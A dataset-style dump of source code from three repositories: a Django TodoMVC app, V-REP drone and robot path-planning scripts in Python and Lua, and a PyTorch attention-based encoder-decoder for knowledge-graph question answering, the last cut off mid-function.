repo_name
stringlengths
5
113
combined_content
stringlengths
88
120M
file_paths
listlengths
2
11.1k
0-k-1/TodoMVC2
from django.db import models #from django.contrib.auth.models import User class Todo(models.Model): title = models.CharField(max_length=50) completed = models.BooleanField(default=False) --- FILE SEPARATOR --- # from django.urls import path from django.conf.urls import url from App.views import todoMVC_view,save_view urlpatterns = [ url('', todoMVC_view), url(r'^save/', save_view, name='save') ] --- FILE SEPARATOR --- from django.shortcuts import render,redirect from App.models import Todo import json # from django.forms.models import model_to_dict def todoMVC_view(request): # list=[{"content":"任务1","completed":"True"},{"content":"任务2","completed":"False"}] # list=[ # {"completed": "false","id": "1","title": "31"}, # {"completed": "true","id": "2","title": "35"}, # {"completed": "true","id": "0","title": "32"} # ] # list_value = list.values() # list = model_to_dict(list[0]) # print(list_value) ls = Todo.objects.all() ls = list(ls.values()) print(ls) return render(request, 'VueExample.html', {"list":json.dumps(ls)}) #return render(request, 'VueExample.html', {"list":list}) def save_view(request): print(request.POST['q']) # print(request.body) # print(type(request.body)) # print(request.body.decode()) # para = json.loads(request.body.decode()) # print(para) # 直接覆盖 ls = Todo.objects.all() ls.delete() for item in json.loads(request.POST['q']): Todo.objects.create(title=item['title'], completed=item['completed']) # 删除不起作用 # try: # for k in item.keys(): # print(k,item[k]) # Todo.objects.update_or_create(id=item['id'], # defaults={'id': item['id'], 'title': item['title'], # 'completed': item['completed']}) # except: # pass #return render(request, 'VueExample.html') return redirect('/')
[ "/App/models.py", "/App/urls.py", "/App/views.py" ]
0000duck/vrep
#!python3 # -*- coding:utf-8 -*- import matplotlib.pyplot as plt import math import heapq import time try: import vrep except: print ('--------------------------------------------------------------') print ('"vrep.py" could not be imported. This means very probably that') print ('either "vrep.py" or the remoteApi library could not be found.') print ('Make sure both are in the same folder as this file,') print ('or appropriately adjust the file "vrep.py"') print ('--------------------------------------------------------------') print ('') class Entity: def __init__(self, type, name, x=0.0, y=0.0, r=0, x1=0.0, x2=0.0, y1=0.0, y2=0.0): self.type = type self.name = name if type == 'Point': self.x = x self.y = y elif type == 'Obstacle': self.x = x self.y = y self.r = r elif type == 'Gate': self.x1 = x1 self.y1 = y1 self.x2 = x2 self.y2 = y2 class Record: def __init__(self, loc=-1, dis=0, gate=0, path=''): self.loc = loc self.dis = dis self.gate = gate self.path = path self.hash = str(loc) + '$' + str(self.gate) def __lt__(self, other): return self.dis < other.dis class Heap: def __init__(self): self.heap = [] self.hash = {} def push(self, record): dis = self.hash.get(record.hash, 1e+10) if dis <= record.dis + 1e-6: return else: self.hash[record.hash] = record.dis heapq.heappush(self.heap, (record.dis, record)) def top(self): dis, record = self.heap[0] return record def pop(self): dis, record = heapq.heappop(self.heap) return record class Search: def __init__(self, entities, clientID): self.entities = entities self.clientID = clientID def distance_between_points(self, p1, p2): return (p1.x - p2.x)**2 + (p1.y - p2.y)**2 def check_point_in_obstacle(self, point, obstacle): return self.distance_between_points(point, obstacle) <= obstacle.r**2 def check_insection_with_obstacle(self, point1, point2, obstacle): p1_to_o = math.sqrt(self.distance_between_points(point1, obstacle)) p2_to_o = math.sqrt(self.distance_between_points(point2, obstacle)) p1_to_p2 = math.sqrt(self.distance_between_points(point1, point2)) half = (p1_to_o + p2_to_o + p1_to_p2) / 2.0 s = math.sqrt(half * (half - p1_to_o) * (half - p2_to_o) * (half - p1_to_p2)) high = s * 2 / p1_to_p2 p1_b = math.sqrt(p1_to_o**2 - high**2) p2_b = math.sqrt(p2_to_o**2 - high**2) if abs(p1_b + p2_b - p1_to_p2) < 1e-4: dis = high else: dis = min(p1_to_o, p2_to_o) return dis < obstacle.r def draw(self, type='A'): if type == 'A': for entity in self.entities: if entity.type == 'Point': if entity.name == 'Target0': plt.scatter(entity.x, entity.y, c='r') elif entity.name == 'Target1': plt.scatter(entity.x, entity.y, c='g') elif entity.name == 'Target2': plt.scatter(entity.x, entity.y, c='b') else: print (entity.name) elif entity.type == 'Obstacle': xs = [entity.x + entity.r * math.cos(math.pi * 2.0 * i / 1000) for i in range(0, 1000)] ys = [entity.y + entity.r * math.sin(math.pi * 2.0 * i / 1000) for i in range(0, 1000)] plt.plot(xs, ys, c='k') elif entity.type == 'Gate': plt.scatter(entity.x1, entity.y1, c='k') plt.scatter(entity.x2, entity.y2, c='k') else: print (entity.type, entity.name) if type == 'B' or type == 'C': cnt = 0 for entity in self.points: if entity.name == 'Target0': plt.scatter(entity.x, entity.y, c='r') elif entity.name == 'Target1': plt.scatter(entity.x, entity.y, c='g') elif entity.name == 'Target2': plt.scatter(entity.x, entity.y, c='b') else: plt.scatter(entity.x, entity.y, c='k', label = 'P'+str(cnt)) cnt += 1 if type == 'D': for entity in self.points: if 'Gate' in entity.name: plt.scatter(entity.x, entity.y, c='k') if type == 'B' or type == 'C' or type == 'D': for entity in self.obstacles: xs = [entity.x + entity.r * math.cos(math.pi * 2.0 * i / 1000) for i in range(0, 1000)] ys = [entity.y + entity.r * math.sin(math.pi * 2.0 * i / 1000) for i in range(0, 1000)] plt.plot(xs, ys, c='k') if type == 'C' or type == 'D': xs = [item.x for item in self.answers] ys = [item.y for item in self.answers] plt.plot(xs, ys, c='y') plt.show() def build(self, divided = 10): self.obstacles = [] self.points = [] cnt = 0 for entity in self.entities: if entity.type == 'Point': self.points.append(entity) elif entity.type == 'Obstacle': self.obstacles.append(entity) elif entity.type == 'Gate': self.points.append(Entity(type='Point', name='GateA'+str(cnt), x=entity.x1, y=entity.y1)) self.points.append(Entity(type='Point', name='GateB'+str(cnt), x=entity.x2, y=entity.y2)) cnt += 1 else: print ('Error') self.minx = self.maxx = self.points[0].x self.miny = self.maxy = self.points[0].y for point in self.points: self.minx = min(self.minx, point.x) self.miny = min(self.miny, point.y) self.maxx = max(self.maxx, point.x) self.maxy = max(self.maxy, point.y) for obstacle in self.obstacles: self.minx = min(self.minx, obstacle.x - obstacle.r) self.miny = min(self.miny, obstacle.y - obstacle.r) self.maxx = max(self.maxx, obstacle.x + obstacle.r) self.maxy = max(self.maxy, obstacle.y + obstacle.r) self.minx -= 2 self.miny -= 2 self.maxx += 2 self.maxy += 2 cnt = 0 for i in range(divided+1): for j in range(divided+1): x = self.minx + (self.maxx - self.minx) * i / divided y = self.miny + (self.maxy - self.miny) * j / divided self.points.append(Entity(type='Point', name='Point'+str(cnt), x=x, y=y)) newpoints = [] for point in self.points: flag = True for obstacle in self.obstacles: if self.check_point_in_obstacle(point, obstacle): flag = False break if flag: newpoints.append(point) self.points = newpoints def search(self, targetnum=2, gatenum=4): name_to_entity = {} name_to_number = {} cnt = 0 for point in self.points: name_to_entity[point.name] = point name_to_number[point.name] = cnt cnt += 1 #print (point.name) heap = Heap() loc = name_to_number['Target0'] record = Record(loc=loc, dis=0, gate=0, path=str(loc)) heap.push(record) starttime = time.time() answer = None connect = {} for i in range(len(self.points)): for j in range(len(self.points)): flag = True if i==j: flag = False else: for obstacle in self.obstacles: if self.check_insection_with_obstacle(self.points[i], self.points[j], obstacle): flag = False break connect [str(i) + '$' + str(j)] = flag while len(heap.heap): record = heap.pop() if heap.hash.get(record.hash) < record.dis: continue old_targetnum = record.gate % 10 old_gatenum = record.gate % 100 // 10 old_gatevalue = record.gate // 100 #print ('search ', record.gate, record.dis) #print ('\t\t', record.path) if old_targetnum == targetnum and old_gatenum == gatenum: answer = record break for loc in range(len(self.points)): if loc == record.loc: continue if not connect[str(loc) + '$' + str(record.loc)]: continue new_dis = record.dis + math.sqrt(self.distance_between_points(self.points[record.loc], self.points[loc])) new_path = record.path + '$' + str(loc) if self.points[loc].name == 'Target' + str(old_targetnum + 1): new_targetnum = old_targetnum + 1 #print ('\t\t\ttarget', record.loc, loc, old_targetnum, self.points[loc].name, new_targetnum, new_dis) else: new_targetnum = old_targetnum name1 = self.points[record.loc].name name2 = self.points[loc].name new_gatenum = old_gatenum new_gatevalue = old_gatevalue if 'Gate' in name1 and 'Gate' in name2: if 'GateB' in name1: name1, name2 = name2, name1 if 'GateA' in name1 and 'GateB' in name2 and name1[5:] == name2[5:]: number = 1<<int(name1[5:]) if number & old_gatevalue == 0: new_gatenum += 1 new_gatevalue |= number new_record = Record(loc=loc, dis=new_dis, gate=new_gatevalue*100+new_gatenum*10+new_targetnum, path=new_path) heap.push(new_record) print ('Time ', time.time() - starttime) if answer is None: print ('No answer') else: print ('Answer') print (answer.dis) print (answer.path) self.answers = [self.points[int(item)] for item in answer.path.split('$')] print (len(self.answers)) count = 0 for point in self.answers: print ('\t', point.x, point.y, point.name) res, handle = vrep.simxGetObjectHandle(self.clientID, 'target'+str(count), vrep.simx_opmode_blocking) if point.name=='Target1': res = vrep.simxSetObjectPosition(self.clientID, handle, -1, [point.x, point.y, 1], vrep.simx_opmode_blocking) elif point.name=='Target2': res = vrep.simxSetObjectPosition(self.clientID, handle, -1, [point.x, point.y, 2], vrep.simx_opmode_blocking) elif point.name[0]=='G': if point.name[4]=='A': res = vrep.simxSetObjectPosition(self.clientID, handle, -1, [point.x, point.y, 3], vrep.simx_opmode_blocking) else: res = vrep.simxSetObjectPosition(self.clientID, handle, -1, [point.x, point.y, 4], vrep.simx_opmode_blocking) else: res = vrep.simxSetObjectPosition(self.clientID, handle, -1, [point.x, point.y, 0], vrep.simx_opmode_blocking) count += 1 if __name__ == '__main__': search = Search([]) point1 = Entity(type='Point', name='Tmp1', x=0, y=0) point2 = Entity(type='Point', name='Tmp2', x=10, y=0) obstacle = Entity(type='Obstacle', name='Tmp3', x=-4, y=3, r=4.9) print (search.check_insection_with_obstacle(point1, point2, obstacle)) --- FILE SEPARATOR --- #!python3 # -*- coding:utf-8 -*- # Make sure to have the server side running in V-REP: # in a child script of a V-REP scene, add following command # to be executed just once, at simulation start: # # simRemoteApi.start(19999) # # then start simulation, and run this program. # # IMPORTANT: for each successful call to simxStart, there # should be a corresponding call to simxFinish at the end! try: import vrep except: print ('--------------------------------------------------------------') print ('"vrep.py" could not be imported. This means very probably that') print ('either "vrep.py" or the remoteApi library could not be found.') print ('Make sure both are in the same folder as this file,') print ('or appropriately adjust the file "vrep.py"') print ('--------------------------------------------------------------') print ('') import time from entity import Entity, Search if __name__ == '__main__': #print ('Program started') vrep.simxFinish(-1) # just in case, close all opened connections clientID = vrep.simxStart('127.0.0.1', 19999, True, True, 5000, 5) # Connect to V-REP #print (clientID) if clientID!=-1: print ('Connected to remote API server') ########## objects = { 'Tree': 'Tree', 'Tree#0': 'Tree', 'Cylinder': 'Cylinder', 'Start_point': 'Start', 'Target': 'Target', 'End': 'End', 'UR3': 'UR', 'UR3#0': 'UR', 'GateCounter_55cmX40cm': 'Gate', 'GateCounter_55cmX40cm#0': 'Gate', 'GateCounter_55cmX40cm#1': 'Gate', 'GateCounter_80cmX190cm': 'Gate', 'GateCounter_80cmX190cm#0': 'Gate', 'GateCounter_80cmX190cm#1': 'Gate', 'GateCounter_80cmX190cm#2': 'Gate', } entities = [] for key, value in objects.items(): if value in ['Tree', 'UR', 'Cylinder']: res, handle = vrep.simxGetObjectHandle(clientID, key, vrep.simx_opmode_blocking) res, position = vrep.simxGetObjectPosition(clientID, handle, -1, vrep.simx_opmode_blocking) entity = Entity(type='Obstacle', name=key, x=position[0], y=position[1], r=2.0 if value != 'Cylinder' else 1.0) elif value == 'Start': res, handle = vrep.simxGetObjectHandle(clientID, key, vrep.simx_opmode_blocking) res, position = vrep.simxGetObjectPosition(clientID, handle, -1, vrep.simx_opmode_blocking) name ='Target0' if value == 'Start' else 'Target1' if value == 'Target' else 'Target2' if value == 'End' else 'Error' entity = Entity(type='Point', name=name, x=position[0], y=position[1]) elif value in ['Target', 'End']: function_name = "get_target_platform_pos" if value == 'Target' else "get_end_point_pos" res, _, position, _, _ = vrep.simxCallScriptFunction(clientID, "util_funcs", vrep.sim_scripttype_customizationscript,function_name, [], [], [],bytearray(), vrep.simx_opmode_blocking) name ='Target0' if value == 'Start' else 'Target1' if value == 'Target' else 'Target2' if value == 'End' else 'Error' entity = Entity(type='Point', name=name, x=position[0], y=position[1]) elif value == 'Gate': res, handle1 = vrep.simxGetObjectHandle(clientID, key, vrep.simx_opmode_blocking) res, handle2 = vrep.simxGetObjectHandle(clientID, 'Tmp', vrep.simx_opmode_blocking) res, position1 = vrep.simxGetObjectPosition(clientID, handle1, -1, vrep.simx_opmode_blocking) vrep.simxSetObjectPosition(clientID, handle2, handle1, (2,0,0), vrep.simx_opmode_blocking) res, position2 = vrep.simxGetObjectPosition(clientID, handle2, -1, vrep.simx_opmode_blocking) vrep.simxSetObjectPosition(clientID, handle2, handle1, (-2,0,0), vrep.simx_opmode_blocking) res, position3 = vrep.simxGetObjectPosition(clientID, handle2, -1, vrep.simx_opmode_blocking) entity = Entity(type='Gate', name=key, x1=position2[0], y1=position2[1], x2=position3[0], y2=position3[1]) else: print (key, value) entities.append(entity) ########## search = Search(entities, clientID) search.build(divided = 10) #search.draw(type='B') search.search() search.draw(type='D') # Before closing the connection to V-REP, make sure that the last command sent out had time to arrive. You can guarantee this with (for example): vrep.simxGetPingTime(clientID) # Now close the connection to V-REP: vrep.simxFinish(clientID) else: print ('Failed connecting to remote API server') print ('Program ended') --- FILE SEPARATOR --- function sysCall_init() -- Make sure we have version 2.4.13 or above (the particles are not supported otherwise) v=sim.getInt32Parameter(sim.intparam_program_version) if (v<20413) then sim.displayDialog('Warning','The propeller model is only fully supported from V-REP version 2.4.13 and above.&&nThis simulation will not run as expected!',sim.dlgstyle_ok,false,'',nil,{0.8,0,0,0,0,0}) end -- Detatch the manipulation sphere: targetObj=sim.getObjectHandle('Quadricopter_target') sim.setObjectParent(targetObj,-1,true) -- This control algo was quickly written and is dirty and not optimal. It just serves as a SIMPLE example d=sim.getObjectHandle('Quadricopter_base') hand_handle=sim.getObjectHandle('JacoHand') quadricopter=sim.getObjectHandle('Quadricopter') quadricopter_prop_respondable1=sim.getObjectHandle('Quadricopter_propeller_respondable1') particlesAreVisible=sim.getScriptSimulationParameter(sim.handle_self,'particlesAreVisible') sim.setScriptSimulationParameter(sim.handle_tree,'particlesAreVisible',tostring(particlesAreVisible)) simulateParticles=sim.getScriptSimulationParameter(sim.handle_self,'simulateParticles') sim.setScriptSimulationParameter(sim.handle_tree,'simulateParticles',tostring(simulateParticles)) propellerScripts={-1,-1,-1,-1} for i=1,4,1 do propellerScripts[i]=sim.getScriptHandle('Quadricopter_propeller_respondable'..i) end heli=sim.getObjectAssociatedWithScript(sim.handle_self) hand_script_handle = sim.getScriptHandle('JacoHand') print('hand_script_handle', hand_script_handle) particlesTargetVelocities={0,0,0,0} pParam=6 iParam=0.04 dParam=0.08 vParam=-2 cumul=0 lastE=0 pAlphaE=0 pBetaE=0 alphaCumul=0 betaCumul=0 rotCorrCumul=0 psp2=0 psp1=0 spCumul=0 prevEuler=0 maxCorr=0 deltax=0 deltay=0 fakeShadow=sim.getScriptSimulationParameter(sim.handle_self,'fakeShadow') if (fakeShadow) then shadowCont=sim.addDrawingObject(sim.drawing_discpoints+sim.drawing_cyclic+sim.drawing_25percenttransparency+sim.drawing_50percenttransparency+sim.drawing_itemsizes,0.2,0,-1,1) end -- Prepare 2 floating views with the zed camera views: zed_vision0 = sim.getObjectHandle('zed_vision0') zed_vision1 = sim.getObjectHandle('zed_vision1') zed_v0_View=sim.floatingViewAdd(0.9,0.9,0.2,0.2,0) zed_v1_View=sim.floatingViewAdd(0.7,0.9,0.2,0.2,0) sim.adjustView(zed_v0_View,zed_vision0,64) sim.adjustView(zed_v1_View,zed_vision1,64) end_vector = {0,0,0.14} t_sim_start = sim.getSimulationTime() grapped = false speed = -1 -- m/s hold_time = 0.5 -- s distance_hold = 0.11 start_position = sim.getObjectPosition(targetObj, -1) ----- the commented part is the decision logic to grap a 'Sphere' --hold_target_handle = sim.getObjectHandle('Sphere') --hold_target_position = sim.getObjectPosition(hold_target_handle, -1) targetPos=sim.getObjectPosition(targetObj,-1) end function sysCall_cleanup() sim.removeDrawingObject(shadowCont) sim.floatingViewRemove(zed_v0_View) sim.floatingViewRemove(zed_v1_View) end function sysCall_actuation() s=sim.getObjectSizeFactor(d) pos=sim.getObjectPosition(d,-1) target_pos = sim.getObjectPosition(targetObj, -1) -- z_distance = target_pos[3] - hold_target_position[3] -- print('z_distance', z_distance) -- if (math.abs(z_distance) < 0.21) then -- sim.setScriptSimulationParameter(hand_script_handle, 'close_hand', 'true') -- print('Closing hand') -- end -- print('simulation time', sim.getSimulationTime()) pos_z_delta = 0 -- if grapped == false then -- if (z_distance > distance_hold) then -- pos_z_delta = speed * sim.getSimulationTimeStep() -- hold_start_time = sim.getSimulationTime() -- print('start', pos_z_delta) -- elseif z_distance < distance_hold then -- hold for a while -- if (sim.getSimulationTime() - hold_start_time) > hold_time then -- grapped = true -- speed = 1 -- end -- end -- else -- end_delta = start_position[3] - target_pos[3] -- if (end_delta > 0.01) then -- pos_z_delta = speed * sim.getSimulationTimeStep() -- end -- end sim.setObjectPosition(targetObj, -1, {target_pos[1], target_pos[2], target_pos[3] + pos_z_delta}) if (fakeShadow) then itemData={pos[1],pos[2],0.002,0,0,1,0.2*s} sim.addDrawingObjectItem(shadowCont,itemData) end ------------------ Controller ------------------------------------- -- Vertical control: -- landing down: if(targetPos[3]>1)then targetPos[3] = targetPos[3] - 0.01 end pos=sim.getObjectPosition(d,-1) l=sim.getVelocity(heli) e_z=(targetPos[3]-pos[3]) cumul=cumul+e_z thrust=9+pParam*e_z+iParam*cumul+dParam*(e_z-lastE)+l[3]*vParam lastE=e_z -- Rotational control: euler=sim.getObjectOrientation(d,targetObj) linearSpeed, angularSpeed=sim.getObjectVelocity(d) alphaCorr=0 maxCorr=maxCorr-0.02 if(maxCorr < 0) then maxCorr = 0.2 ------------------ Visual ------------------------------------- imageBuffer = sim.getVisionSensorImage(zed_vision0) print(#imageBuffer) maxx=0 minx=100000 maxy=0 miny=100000 maxd=0 xlen = 1280 ylen = 2160 ylock = 0 out = {} for i=1,xlen,2 do maxy2=0 miny2=100000 for j=100,ylen-100,30 do if (imageBuffer[i*ylen+j]>0.9 and imageBuffer[i*ylen+j+1]>0.9 and imageBuffer[i*ylen+j+2]>0.9) then maxx=math.max(maxx,i) minx=math.min(minx,i) maxy2=math.max(maxy2,j) miny2=math.min(miny2,j) end end if(maxy2 - miny2 < 10000 and maxy2 - miny2 > maxd) then maxd = maxy2 - miny2; maxy = maxy2; miny = miny2; end end print(maxx,minx,maxy,miny); if(minx < 10000)then deltax = (maxx + minx)/2/xlen-0.5; end if(miny < 10000) then deltay = (maxy + miny)/2/ylen-0.5; end print(deltax,deltay); end deltax = 1 if(maxCorr > 0.15) then deltaSpeed = 0.1*deltax elseif(maxCorr > 0.05) then deltaSpeed = 0 elseif(maxCorr > 0) then deltaSpeed = -0.1*deltax else deltaSpeed = 0 end print(deltaSpeed) alphaCumul = alphaCumul + euler[1] + deltaSpeed alphaCorr=0.00323 + euler[1]*0.225 + 1.4*(euler[1]-pAlphaE)-- + 0.005 * alphaCumul pAlphaE=euler[1] + deltaSpeed betaCumul = betaCumul + euler[2] betaCorr=euler[2]*0.225 + 1.4*(euler[2]-pBetaE)-- + 0.001 * betaCumul pBetaE=euler[2] rotCorrCumul = rotCorrCumul + euler[3] rotCorr=euler[3]*4 + 1*(euler[3]-prevEuler) + 0.001 * rotCorrCumul prevEuler=euler[3] -- Decide of the motor velocities: particlesTargetVelocities[1]=thrust*(1-alphaCorr+betaCorr+rotCorr) particlesTargetVelocities[2]=thrust*(1-alphaCorr-betaCorr-rotCorr) particlesTargetVelocities[3]=thrust*(1+alphaCorr-betaCorr+rotCorr) particlesTargetVelocities[4]=thrust*(1+alphaCorr+betaCorr-rotCorr) -- Send the desired motor velocities to the 4 rotors: for i=1,4,1 do sim.setScriptSimulationParameter(propellerScripts[i],'particleVelocity',particlesTargetVelocities[i]) end end --- FILE SEPARATOR --- import numpy as np import vrep for i in range(50): try: # close any open connections vrep.simxFinish(-1) # Connect to the V-REP continuous server clientID = vrep.simxStart('127.0.0.1', 19997, True, True, 500, 5) if clientID != -1: # if we connected successfully print ('Connected to remote API server') # --------------------- Setup the simulation vrep.simxSynchronous(clientID,True) dt = .025 vrep.simxSetFloatingParameter(clientID, vrep.sim_floatparam_simulation_time_step, dt, # specify a simulation time step vrep.simx_opmode_oneshot) # start our simulation in lockstep with our code vrep.simxStartSimulation(clientID, vrep.simx_opmode_blocking) count = 0 track_hand = [] track_target = [] while count < 60: # run for 1 simulated second # move simulation ahead one time step vrep.simxSynchronousTrigger(clientID) count += dt # stop the simulation vrep.simxStopSimulation(clientID, vrep.simx_opmode_blocking) # Before closing the connection to V-REP, #make sure that the last command sent out had time to arrive. vrep.simxGetPingTime(clientID) # Now close the connection to V-REP: vrep.simxFinish(clientID) else: raise Exception('Failed connecting to remote API server') finally: # stop the simulation vrep.simxStopSimulation(clientID, vrep.simx_opmode_blocking) # Before closing the connection to V-REP, # make sure that the last command sent out had time to arrive. vrep.simxGetPingTime(clientID) # Now close the connection to V-REP: vrep.simxFinish(clientID) print('connection closed...')
[ "/entity.py", "/mission_path_planning_main.py", "/old_code/5有视觉横向调试.py", "/repeat.py" ]
000Justin000/agnav
import os import sys import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import math, copy, time import pandas as pd from transformers import AutoTokenizer import matplotlib.pyplot as plt from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence from utils import * from IPython.core.debugger import set_trace os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' # we will use CUDA if it is available USE_CUDA = torch.cuda.is_available() DEVICE = torch.device('cuda:0') if USE_CUDA else torch.device("cpu") # set random seed seed = 666 np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed(seed) class EncoderDecoder(nn.Module): """ A standard Encoder-Decoder architecture. Base for this and many other models. """ def __init__(self, encoder, decoder, src_embed, trg_embed, evaluator): super(EncoderDecoder, self).__init__() self.encoder = encoder self.decoder = decoder self.src_embed = src_embed self.trg_embed = trg_embed self.evaluator = evaluator def forward(self, src, trg, src_mask, trg_mask, src_lengths, trg_lengths): """Take in and process masked src and target sequences.""" encoder_hidden, encoder_final = self.encode(src, src_mask, src_lengths) return self.decode(encoder_hidden, encoder_final, src_mask, trg, trg_mask) def encode(self, src, src_mask, src_lengths): return self.encoder(self.src_embed(src), src_mask, src_lengths) def decode(self, encoder_hidden, encoder_final, src_mask, trg, trg_mask, decoder_hidden=None): return self.decoder(self.trg_embed(trg), encoder_hidden, encoder_final, src_mask, trg_mask, hidden=decoder_hidden) class Encoder(nn.Module): """Encodes a sequence of word embeddings""" def __init__(self, input_size, hidden_size, num_layers=1, dropout=0.0): super(Encoder, self).__init__() self.num_layers = num_layers self.rnn = nn.GRU(input_size, hidden_size, num_layers, batch_first=True, bidirectional=True, dropout=dropout) def forward(self, x, mask, lengths): """ Applies a bidirectional GRU to sequence of embeddings x. The input mini-batch x needs to be sorted by length. x should have dimensions [batch, time, dim]. """ packed = pack_padded_sequence(x, lengths, batch_first=True) output, final = self.rnn(packed) output, _ = pad_packed_sequence(output, batch_first=True) # we need to manually concatenate the final states for both directions fwd_final = final[0:final.size(0):2] bwd_final = final[1:final.size(0):2] final = torch.cat([fwd_final, bwd_final], dim=2) # [num_layers, batch, 2*dim] return output, final class Decoder(nn.Module): """A conditional RNN decoder with attention.""" def __init__(self, emb_size, hidden_size, attention, num_layers=1, dropout=0.0, bridge=True): super(Decoder, self).__init__() self.hidden_size = hidden_size self.num_layers = num_layers self.attention = attention self.dropout = dropout self.rnn = nn.GRU(emb_size+2*hidden_size, hidden_size, num_layers, batch_first=True, dropout=dropout) # to initialize from the final encoder state self.bridge = nn.Linear(2*hidden_size, hidden_size, bias=True) if bridge else None self.dropout_layer = nn.Dropout(p=dropout) self.pre_output_layer = nn.Linear(hidden_size + 2*hidden_size + emb_size, hidden_size, bias=False) def forward_step(self, prev_embed, encoder_hidden, src_mask, proj_key, hidden): """Perform a single decoder step (1 word)""" # compute context vector using attention mechanism query = hidden[-1].unsqueeze(1) # [#layers, B, D] -> [B, 1, D] context, attn_probs = self.attention(query=query, proj_key=proj_key, value=encoder_hidden, mask=src_mask) # update rnn hidden state rnn_input = torch.cat([prev_embed, context], dim=2) output, hidden = self.rnn(rnn_input, hidden) pre_output = torch.cat([prev_embed, output, context], dim=2) pre_output = self.dropout_layer(pre_output) pre_output = self.pre_output_layer(pre_output) return output, hidden, pre_output, attn_probs def forward(self, trg_embed, encoder_hidden, encoder_final, src_mask, trg_mask, hidden=None, max_len=None): """Unroll the decoder one step at a time.""" # the maximum number of steps to unroll the RNN if max_len is None: max_len = trg_mask.size(-1) # initialize decoder hidden state if hidden is None: hidden = self.init_hidden(encoder_final) # pre-compute projected encoder hidden states # (the "keys" for the attention mechanism) # this is only done for efficiency proj_key = self.attention.key_layer(encoder_hidden) # here we store all intermediate hidden states and pre-output vectors decoder_states = [] pre_output_vectors = [] attn_probs_history = [] # unroll the decoder RNN for max_len steps for i in range(max_len): prev_embed = trg_embed[:, i].unsqueeze(1) output, hidden, pre_output, attn_probs = self.forward_step(prev_embed, encoder_hidden, src_mask, proj_key, hidden) decoder_states.append(output) pre_output_vectors.append(pre_output) attn_probs_history.append(attn_probs) decoder_states = torch.cat(decoder_states, dim=1) pre_output_vectors = torch.cat(pre_output_vectors, dim=1) return decoder_states, hidden, pre_output_vectors, attn_probs_history # [B, N, D] def init_hidden(self, encoder_final): """Returns the initial decoder state, conditioned on the final encoder state.""" if encoder_final is None: return None # start with zeros return torch.tanh(self.bridge(encoder_final)) class BahdanauAttention(nn.Module): """Implements Bahdanau (MLP) attention""" def __init__(self, hidden_size, key_size=None, query_size=None): super(BahdanauAttention, self).__init__() # We assume a bi-directional encoder so key_size is 2*hidden_size key_size = 2*hidden_size if key_size is None else key_size query_size = hidden_size if query_size is None else query_size self.key_layer = nn.Linear(key_size, hidden_size, bias=False) self.query_layer = nn.Linear(query_size, hidden_size, bias=False) self.energy_layer = nn.Linear(hidden_size, 1, bias=False) # to store attention scores self.alphas = None def forward(self, query=None, proj_key=None, value=None, mask=None): assert mask is not None, "mask is required" # We first project the query (the decoder state). # The projected keys (the encoder states) were already pre-computated. query = self.query_layer(query) # Calculate scores. scores = self.energy_layer(torch.tanh(query + proj_key)) scores = scores.squeeze(2).unsqueeze(1) # Mask out invalid positions. # The mask marks valid positions so we invert it using `mask & 0`. scores.data.masked_fill_(mask == 0, -float('inf')) # Turn scores to probabilities. alphas = F.softmax(scores, dim=-1) self.alphas = alphas # The context vector is the weighted sum of the values. context = torch.bmm(alphas, value) # context shape: [B, 1, 2D], alphas shape: [B, 1, M] return context, alphas class Evaluator(nn.Module): """Define standard linear action value function.""" def __init__(self, hidden_size, vocab_size): super(Evaluator, self).__init__() self.proj = nn.Linear(hidden_size, vocab_size, bias=False) def forward(self, x): return self.proj(x) def make_model(src_vocab, tgt_vocab, emb_size=256, hidden_size=512, num_layers=1, dropout=0.0): "Helper: Construct a model from hyperparameters." attention = BahdanauAttention(hidden_size) model = EncoderDecoder( Encoder(emb_size, hidden_size, num_layers=num_layers, dropout=dropout), Decoder(emb_size, hidden_size, attention, num_layers=num_layers, dropout=dropout), nn.Embedding(src_vocab, emb_size), nn.Embedding(tgt_vocab, emb_size), Evaluator(hidden_size, tgt_vocab)) return model class Batch: """Object for holding a batch of data with mask during training. Input is a batch from a torch text iterator. """ def __init__(self, src, trg, pad_index=0): src, src_lengths = src self.src = src self.src_lengths = src_lengths self.src_mask = (src != pad_index).unsqueeze(-2) self.nseqs = src.size(0) trg, trg_lengths = trg self.trg = trg self.trg_lengths = trg_lengths self.trg_mask = (self.trg != pad_index) self.ntokens = self.trg_mask.data.sum().item() def simulate_episode(G, qa_instance, tokenizer, model, action_to_ix, max_len, epsilon, verbose=False): question, decorated_entity, answer_set = qa_instance tokenized_inputs = tokenizer(question, max_length=50, padding=True, truncation=True, return_tensors="pt") src, src_mask = tokenized_inputs["input_ids"].to(DEVICE), tokenized_inputs["attention_mask"].unsqueeze(-2).to(DEVICE) assert decorated_entity in G.nodes kgnode = decorated_entity if verbose: print(question) print(kgnode) kgnode_chain = [] action_chain = [] reward_chain = [] encoder_hidden, encoder_final = model.encode(src, src_mask, [src_mask.sum().item()]) # pre-compute projected encoder hidden states # (the "keys" for the attention mechanism) # this is only done for efficiency proj_key = model.decoder.attention.key_layer(encoder_hidden) # initialize decoder hidden state hidden_init = model.decoder.init_hidden(encoder_final) sos_embed = model.trg_embed(torch.tensor([action_to_ix["[SOS]"]], device=DEVICE)).unsqueeze(1) _, hidden, context, _ = model.decoder.forward_step(sos_embed, encoder_hidden, src_mask, proj_key, hidden_init) for t in range(max_len): # compute the action value functions for available actions at the current node actions = unique([info["type"] for (_, _, info) in G.edges(kgnode, data=True)]) + ["terminate"] values = model.evaluator(context)[0, 0, [action_to_ix[action] for action in actions]] # select the action at the current time step with epsilon-greedy policy if random.random() < epsilon: action = random.choice(actions) else: action = actions[values.argmax()] # take the action if (action == "terminate") or (t == max_len-1): reward = torch.tensor(1.0 if ((action == "terminate") and (re.match(r".+: (.+)", kgnode).group(1) in answer_set)) else 0.0).to(DEVICE) kgnode_next = "termination" hidden_next = None context_next = None else: reward = torch.tensor(0.0).to(DEVICE) kgnode_next = random.choice(list(filter(lambda tp: tp[2]["type"] == action, G.edges(kgnode, data=True))))[1] action_embed = model.trg_embed(torch.tensor([action_to_ix[action]], device=DEVICE)).unsqueeze(1) _, hidden_next, context_next, _ = model.decoder.forward_step(action_embed, encoder_hidden, src_mask, proj_key, hidden) kgnode_chain.append(kgnode) action_chain.append(action) reward_chain.append(reward) if verbose: print(actions) print(values.data.reshape(-1).to("cpu")) print(action, " =====> ", kgnode_next) if kgnode_next == "termination": break else: 